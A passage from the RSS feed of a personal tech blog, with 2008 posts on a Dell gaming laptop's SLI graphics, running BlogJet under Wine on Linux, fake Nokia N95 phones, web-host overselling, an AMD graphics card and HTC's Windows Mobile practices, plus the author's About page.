&lt;p&gt;Ask any laptop user about how much he liked to kick some butt in Gears of War and he would cringe and cry with agony even before you are able to say the &amp;ldquo;C&amp;rdquo; of Crysis. But not anymore. For its notebook consumers, Dell has finally come up with the &lt;a href="http://direct2dell.com/one2one/archive/2008/01/29/43163.aspx"&gt;perfect answer&lt;/a&gt; to the questions posed by these ridiculously-difficult-to-get-more-than-10-fps games. Available now is some motherly love for your laps in the form of &lt;a href="http://www.nvidia.com/object/geforce_8800m.html"&gt;8800M GTX &lt;/a&gt;with its M1730. But that&amp;rsquo;s not all, it slaps onto the lappy not one, but two GFX cards in one. Yes, men, you heard that right &amp;ldquo;SLI&amp;rdquo; &lt;img src="https://shantanugoel.com/img/uploads/smile1.gif" alt=""&gt;.&lt;/p&gt;</description><content>&lt;p&gt;&lt;img src="https://shantanugoel.com/img/uploads/dell_8800.jpg" alt="Dell_8800"&gt;&lt;/p&gt;
&lt;p&gt;Ask any laptop user about how much he liked to kick some butt in Gears of War and he would cringe and cry with agony even before you are able to say the &amp;ldquo;C&amp;rdquo; of Crysis. But not anymore. For its notebook consumers, Dell has finally come up with the &lt;a href="http://direct2dell.com/one2one/archive/2008/01/29/43163.aspx"&gt;perfect answer&lt;/a&gt; to the questions posed by these ridiculously-difficult-to-get-more-than-10-fps games. Available now is some motherly love for your laps in the form of &lt;a href="http://www.nvidia.com/object/geforce_8800m.html"&gt;8800M GTX &lt;/a&gt;with its M1730. But that&amp;rsquo;s not all, it slaps onto the lappy not one, but two GFX cards in one. Yes, men, you heard that right &amp;ldquo;SLI&amp;rdquo; &lt;img src="https://shantanugoel.com/img/uploads/smile1.gif" alt=""&gt;.&lt;/p&gt;
&lt;p&gt;And those who are just beginning to get those puddles forming around the corners of their eyes because they bought their M1730&amp;rsquo;s with the slightly retro 8700&amp;rsquo;s, Dell loves you as well, because you, my dear friends, get an option to upgrade to the latest and greatest as well (US only as of now, but would soon be offered to Europe, AP customers as well).&lt;/p&gt;</content></item><item><title>BlogJet - Blog Faster, Blog Better (Now In Linux too, with a hidden bonus)</title><link>https://shantanugoel.com/2008/01/29/blogjet-blog-faster-blog-better-now-in-linux-too-with-a-hidden-bonus/</link><pubDate>Tue, 29 Jan 2008 15:30:27 +0000</pubDate><guid>https://shantanugoel.com/2008/01/29/blogjet-blog-faster-blog-better-now-in-linux-too-with-a-hidden-bonus/</guid><description>&lt;p&gt;&lt;img src="https://shantanugoel.com/img/uploads/blogjet_in_linux.png" alt="BlogJet in Linux" title="BlogJet in Linux"&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="https://shantanugoel.com/img/uploads/blogjet_in_linux.png"&gt;&lt;img src="https://shantanugoel.com/img/uploads/blogjet_in_linux_thumb1.jpg" alt="Blogjet in Linux" title="Blogjet in Linux"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;A quick googling for &lt;em&gt;&lt;a href="http://www.google.co.in/search?q=best+desktop+blogging+client&amp;amp;ie=utf-8&amp;amp;oe=utf-8&amp;amp;aq=t&amp;amp;rls=com.ubuntu:en-US:official&amp;amp;client=firefox-a"&gt;best desktop blogging client&lt;/a&gt;&lt;/em&gt; would yield just a few (read millions/gazillions) results. Having researched the subject a lot, my choices were finally limited down to &lt;a href="http://www.codingrobots.com/blogjet/"&gt;BlogJet&lt;/a&gt; and &lt;a href="http://www.blogdesk.org/en/index.htm"&gt;BlogDesk&lt;/a&gt;, as per my feature set requirement goes (Primarily, off line editing, draft, WYSIWYG editing, categories, tagging support, pinging, trackbacks support, timestamping, past post editing, automatic image uploading) BUT there is one little problem. Both of these don&amp;rsquo;t work on Linux.&lt;/p&gt;</description><content>&lt;p&gt;&lt;img src="https://shantanugoel.com/img/uploads/blogjet_in_linux.png" alt="BlogJet in Linux" title="BlogJet in Linux"&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="https://shantanugoel.com/img/uploads/blogjet_in_linux.png"&gt;&lt;img src="https://shantanugoel.com/img/uploads/blogjet_in_linux_thumb1.jpg" alt="Blogjet in Linux" title="Blogjet in Linux"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;A quick googling for &lt;em&gt;&lt;a href="http://www.google.co.in/search?q=best+desktop+blogging+client&amp;amp;ie=utf-8&amp;amp;oe=utf-8&amp;amp;aq=t&amp;amp;rls=com.ubuntu:en-US:official&amp;amp;client=firefox-a"&gt;best desktop blogging client&lt;/a&gt;&lt;/em&gt; would yield just a few (read millions/gazillions) results. Having researched the subject a lot, my choices were finally limited down to &lt;a href="http://www.codingrobots.com/blogjet/"&gt;BlogJet&lt;/a&gt; and &lt;a href="http://www.blogdesk.org/en/index.htm"&gt;BlogDesk&lt;/a&gt;, as per my feature set requirement goes (Primarily, off line editing, draft, WYSIWYG editing, categories, tagging support, pinging, trackbacks support, timestamping, past post editing, automatic image uploading) BUT there is one little problem. Both of these don&amp;rsquo;t work on Linux.&lt;/p&gt;
&lt;p&gt;In fact, the current crop of Linux based blog clients is at best childish, compared to these. A piece of software called &lt;a href="http://www.larryborsato.com/bleezer/"&gt;Bleezer&lt;/a&gt; did offer a good set of features and supported linux as well, but turned out it was so crash-y, hogged up enormous amounts of ram, and had other issues that come usually packed with all java apps. But I wasn&amp;rsquo;t gonna boot into WinDUHs, just for one sole software, was I?? Sure, I wasn&amp;rsquo;t &lt;img src="https://shantanugoel.com/img/uploads/smile1.gif" alt="Smile" title="Smile"&gt;. I tried the usual routine of trying to run them through wine but it wasn&amp;rsquo;t supported. I resorted to my faithful ol&amp;rsquo; google, and chanced across &lt;a href="http://www.thetechandcents.com/2007/11/running-zoundry-blog-editor-under-wine.html"&gt;this little nugget&lt;/a&gt;, with step by step instructions to achieve my goal. And it had a bonus. It told me about &lt;a href="http://www.tatanka.com.br/ies4linux/page/Main_Page"&gt;IEs4Linux&lt;/a&gt; (IE&amp;rsquo;s For Linux). yes, you read correctly. You can run Internet Explorer on your Linux box as well. All this in under 10 minutes (Ubuntu wins again). And yeah,&lt;/p&gt;</content></item><item><title>Beware of Fake Nokia N95 Cell Phones, Pirated by Chinese</title><link>https://shantanugoel.com/2008/01/29/beware-of-fake-nokia-n95-cell-phones-pirated-by-chinese/</link><pubDate>Tue, 29 Jan 2008 09:15:32 +0000</pubDate><guid>https://shantanugoel.com/2008/01/29/beware-of-fake-nokia-n95-cell-phones-pirated-by-chinese/</guid><description>&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;if buying cell phones on ebay wasn’t annoying enough already, with a bajillion things that you should know, it’s about to get a lot worse - at least if you’re thinking of purchasing a Nokia N95 phone. Learn how to spot the fake Nokia N95 in this How-To.&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Came across this post today, now even your N95’s aren’t safe. Make sure to check this guide to identify if your latest boy-toy is a fake or not.&lt;/p&gt;</description><content>&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;if buying cell phones on ebay wasn’t annoying enough already, with a bajillion things that you should know, it’s about to get a lot worse - at least if you’re thinking of purchasing a Nokia N95 phone. Learn how to spot the fake Nokia N95 in this How-To.&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Came across this post today, now even your N95’s aren’t safe. Make sure to check this guide to identify if your latest boy-toy is a fake or not.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://news.ronatvan.com/2008/01/29/beware-of-fake-nokia-n95-cell-phones-pirated-by-chinese/"&gt;Beware of Fake Nokia N95 Cell Phones, Pirated by Chinese&lt;/a&gt;.&lt;/p&gt;</content></item><item><title>Looking for a Host - For a Party that you will throw</title><link>https://shantanugoel.com/2008/01/28/looking-for-a-host-for-a-party-that-you-will-throw/</link><pubDate>Mon, 28 Jan 2008 16:31:52 +0000</pubDate><guid>https://shantanugoel.com/2008/01/28/looking-for-a-host-for-a-party-that-you-will-throw/</guid><description>&lt;p&gt;One thing that is most difficult to choose (after a dress for your girlfriend that doesn&amp;rsquo;t make her &amp;ldquo;look&amp;rdquo; fat) is choosing a webhost. A google search is going to even confuse you further. As you wade into this enormous ocean, you will be wowed by the offers given by some of these hosts, throwing away 100&amp;rsquo;s of GBs (no less) of disk space and bandwidth running into terrabytes. Almost every software on earth in your one-click fantastico arsenal. (plus they promise to do your dishes after you are through with the dinner too). All this and more for a measly 3.99, 4.99, 5.99 and such price. Your jaw already touching the floor, you make a quick dash for your wallet, flip out your credit card, and sign up for that &amp;ldquo;limited time&amp;rdquo; offer for unlimited webspace before it expires. You then laugh at your friend who got a measly 100mb for the same price. But, what gives? Even a 100 GB hdd costs me close to 40-50 bucks, then how come they are able to do it?&lt;/p&gt;</description><content>&lt;p&gt;One thing that is most difficult to choose (after a dress for your girlfriend that doesn&amp;rsquo;t make her &amp;ldquo;look&amp;rdquo; fat) is choosing a webhost. A google search is going to even confuse you further. As you wade into this enormous ocean, you will be wowed by the offers given by some of these hosts, throwing away 100&amp;rsquo;s of GBs (no less) of disk space and bandwidth running into terrabytes. Almost every software on earth in your one-click fantastico arsenal. (plus they promise to do your dishes after you are through with the dinner too). All this and more for a measly 3.99, 4.99, 5.99 and such price. Your jaw already touching the floor, you make a quick dash for your wallet, flip out your credit card, and sign up for that &amp;ldquo;limited time&amp;rdquo; offer for unlimited webspace before it expires. You then laugh at your friend who got a measly 100mb for the same price. But, what gives? Even a 100 GB hdd costs me close to 40-50 bucks, then how come they are able to do it?&lt;/p&gt;
&lt;p&gt;There is no great Indian rope trick around it. The answer lies in just one term &amp;ldquo;oversell&amp;rdquo;. Yes, they oversell their available disk space and bandwidth to the tunes of 10s to 1000s of times, knowing that an average user will never use it up. Even if you do, then your account will be mysteriously suspended for &amp;ldquo;violating the AUP&amp;rdquo;. The AUP practically bans you from doing anything. It is a blend of the most hideous legal jargon signing on which might be equal to bequething all your savings to the host and you will never even come to know.&lt;/p&gt;
&lt;p&gt;So, this post is just meant to be a word of caution for you to stay away from all those big and small names, purportedly touted as the &amp;ldquo;best&amp;rdquo; on gazillions of sites across the web, and think again. If its too good to be true, it probably is.&lt;/p&gt;
&lt;p&gt;PS: Take a look at &lt;a href="http://webhostingtalk.com"&gt;http://webhostingtalk.com&lt;/a&gt; if you want to gather some more info or comment here, or write to me.&lt;/p&gt;</content></item><item><title>AMD (ATi) Step Up The Tempo</title><link>https://shantanugoel.com/2008/01/28/amd-ati-step-up-the-tempo/</link><pubDate>Mon, 28 Jan 2008 16:01:45 +0000</pubDate><guid>https://shantanugoel.com/2008/01/28/amd-ati-step-up-the-tempo/</guid><description>&lt;p&gt;&lt;img src="https://shantanugoel.com/img/2008/01/3870_chart.png" alt="ATi 3870 Comparison Chart"&gt;&lt;/p&gt;
&lt;p&gt;AMD has been taking a lot of flak lately in its processor business, and a similar (albeit milder) thrashing was being given to its ATi Gfx line up as well. But they seem to be on the recover track now, with the release of the brand spanking new &lt;a href="http://www.amd.com/us-en/Processors/ProductInformation/0,,30_118_14885,00.html"&gt;HD3870X2&lt;/a&gt; series, some people aptly calling it &amp;ldquo;crossfire on a card&amp;rdquo;. All you gamers, please stop drooling on the screen now, and check out some &lt;a href="http://www.hothardware.com/articles/R680_Has_Landed_ATI_Radeon_HD_3870_X2/?page=1"&gt;benchmarks&lt;/a&gt;.&lt;/p&gt;</description><content>&lt;p&gt;&lt;img src="https://shantanugoel.com/img/2008/01/3870_chart.png" alt="ATi 3870 Comparison Chart"&gt;&lt;/p&gt;
&lt;p&gt;AMD has been taking a lot of flak lately in its processor business, and a similar (albeit milder) thrashing was being given to its ATi Gfx line up as well. But they seem to be on the recover track now, with the release of the brand spanking new &lt;a href="http://www.amd.com/us-en/Processors/ProductInformation/0,,30_118_14885,00.html"&gt;HD3870X2&lt;/a&gt; series, some people aptly calling it &amp;ldquo;crossfire on a card&amp;rdquo;. All you gamers, please stop drooling on the screen now, and check out some &lt;a href="http://www.hothardware.com/articles/R680_Has_Landed_ATI_Radeon_HD_3870_X2/?page=1"&gt;benchmarks&lt;/a&gt;.&lt;/p&gt;</content></item><item><title>HTC - The best windows mobile "business unit"</title><link>https://shantanugoel.com/2008/01/28/htc-the-best-windows-mobile-business-unit/</link><pubDate>Mon, 28 Jan 2008 15:26:02 +0000</pubDate><guid>https://shantanugoel.com/2008/01/28/htc-the-best-windows-mobile-business-unit/</guid><description>&lt;p&gt;&lt;a href="https://shantanugoel.com/img/2008/01/htc_tytn_ii.jpg"&gt;&lt;img src="https://shantanugoel.com/img/2008/01/htc_tytn_ii.jpg" alt="htc kaiser"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;For the very post of this blog, I chose a subject that&amp;rsquo;s close to my heart. Yes, its Windows Mobile. My trusted 900/1800 MHZ companion for the past couple of years is an HTC Wizard. If you have ever looked into the WinMob world, its pretty much common knowledge that HTC owns the 95% of market share of this niche little space. They are a huge organization and with huge profits and they do make jolly good phones. BUT it is not the quality of phones that helped them reach this height. Its their business plan. &amp;ldquo;Always keep the customers craving more&amp;rdquo; seems to be the motto of this taiwanese giant.&lt;/p&gt;</description><content>&lt;p&gt;&lt;a href="https://shantanugoel.com/img/2008/01/htc_tytn_ii.jpg"&gt;&lt;img src="https://shantanugoel.com/img/2008/01/htc_tytn_ii.jpg" alt="htc kaiser"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;For the very post of this blog, I chose a subject that&amp;rsquo;s close to my heart. Yes, its Windows Mobile. My trusted 900/1800 MHZ companion for the past couple of years is an HTC Wizard. If you have ever looked into the WinMob world, its pretty much common knowledge that HTC owns the 95% of market share of this niche little space. They are a huge organization and with huge profits and they do make jolly good phones. BUT it is not the quality of phones that helped them reach this height. Its their business plan. &amp;ldquo;Always keep the customers craving more&amp;rdquo; seems to be the motto of this taiwanese giant.&lt;/p&gt;
&lt;p&gt;Each phone seems to give one extra &amp;ldquo;feature&amp;rdquo; (read UI enhancement) over the latter. With Kaiser, it seemed too good to be true, getting a one in all phone. And it indeed was. As I pointed out &lt;a href="http://forum.xda-developers.com/showpost.php?p=1767873&amp;amp;postcount=389"&gt;here&lt;/a&gt; , it finally turned into a reality against all hopes of fellow WinMo owners, and HTC &lt;a href="http://www.engadget.com/2008/01/25/htc-further-responds-to-video-driver-issue-will-improve-future/"&gt;declared&lt;/a&gt; that nothing is coming for the current crop. So, am writing this post just to put in my two bits to the cause of these drivers, if you can do anything about it, take a look &lt;a href="http://forum.xda-developers.com/showthread.php?t=351986"&gt;here&lt;/a&gt; (and yeah, a 5000$ bounty awaits you as well)&lt;/p&gt;</content></item><item><title>About</title><link>https://shantanugoel.com/about/</link><pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate><guid>https://shantanugoel.com/about/</guid><description>&lt;p&gt;Greetings, Earthling 🖖&lt;/p&gt;
&lt;h2 id="im-shantanu-aka-shaan"&gt;I&amp;rsquo;m Shantanu, aka Shaan.&lt;/h2&gt;
&lt;p&gt;Your friendly neighborhood co-inhabitant of this tiny speck of dust, I maintain this site as a stochastic log of my calculations towards the futile aim of weeding out the anomalies from the equation that gives me my &amp;ldquo;42&amp;rdquo;.&lt;/p&gt;
&lt;p&gt;In my Clark Kent mode, I spend my day at The Trade Desk, trying to crunch through petabytes of data and trillions of queries every day to understand the human behavior and make the advertising technology world a little bit better.&lt;/p&gt;</description><content>&lt;p&gt;Greetings, Earthling 🖖&lt;/p&gt;
&lt;h2 id="im-shantanu-aka-shaan"&gt;I&amp;rsquo;m Shantanu, aka Shaan.&lt;/h2&gt;
&lt;p&gt;Your friendly neighborhood co-inhabitant of this tiny speck of dust, I maintain this site as a stochastic log of my calculations towards the futile aim of weeding out the anomalies from the equation that gives me my &amp;ldquo;42&amp;rdquo;.&lt;/p&gt;
&lt;p&gt;In my Clark Kent mode, I spend my day at The Trade Desk, trying to crunch through petabytes of data and trillions of queries every day to understand the human behavior and make the advertising technology world a little bit better.&lt;/p&gt;
&lt;p&gt;Before that, I spent a couple of decades in the Semiconductors world at Qualcomm and Google, building processors and AI accelerators, tinkering with chips, operating systems, device drivers, human interface devices, security et al.&lt;/p&gt;
&lt;p&gt;When the lights go out everywhere, I like to don my maker hat and &lt;a href="https://github.com/shantanugoel"&gt;build stuff that no one wants&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I like to make and break things around me ranging from my smart toaster/TV to my web and phone apps to my car, strumming a bit of guitar, &lt;a href="https://store.shantanugoel.com"&gt;3d printing&lt;/a&gt; stuff, and of course, shit-posting on twitter &lt;a href="https://x.com/shantanugoel/"&gt;@shantanugoel&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Sometimes I post some of my travel and 3d print outputs on &lt;a href="https://instagram.com/shantanugoel_"&gt;instagram&lt;/a&gt;, because I&amp;rsquo;ve been told by my gen-z interns that that&amp;rsquo;s a thing to do.&lt;/p&gt;
&lt;p&gt;Do check out some of the &lt;a href="https://shantanugoel.com/fun"&gt;other subdomains&lt;/a&gt; that I run.&lt;/p&gt;</content></item></channel></rss>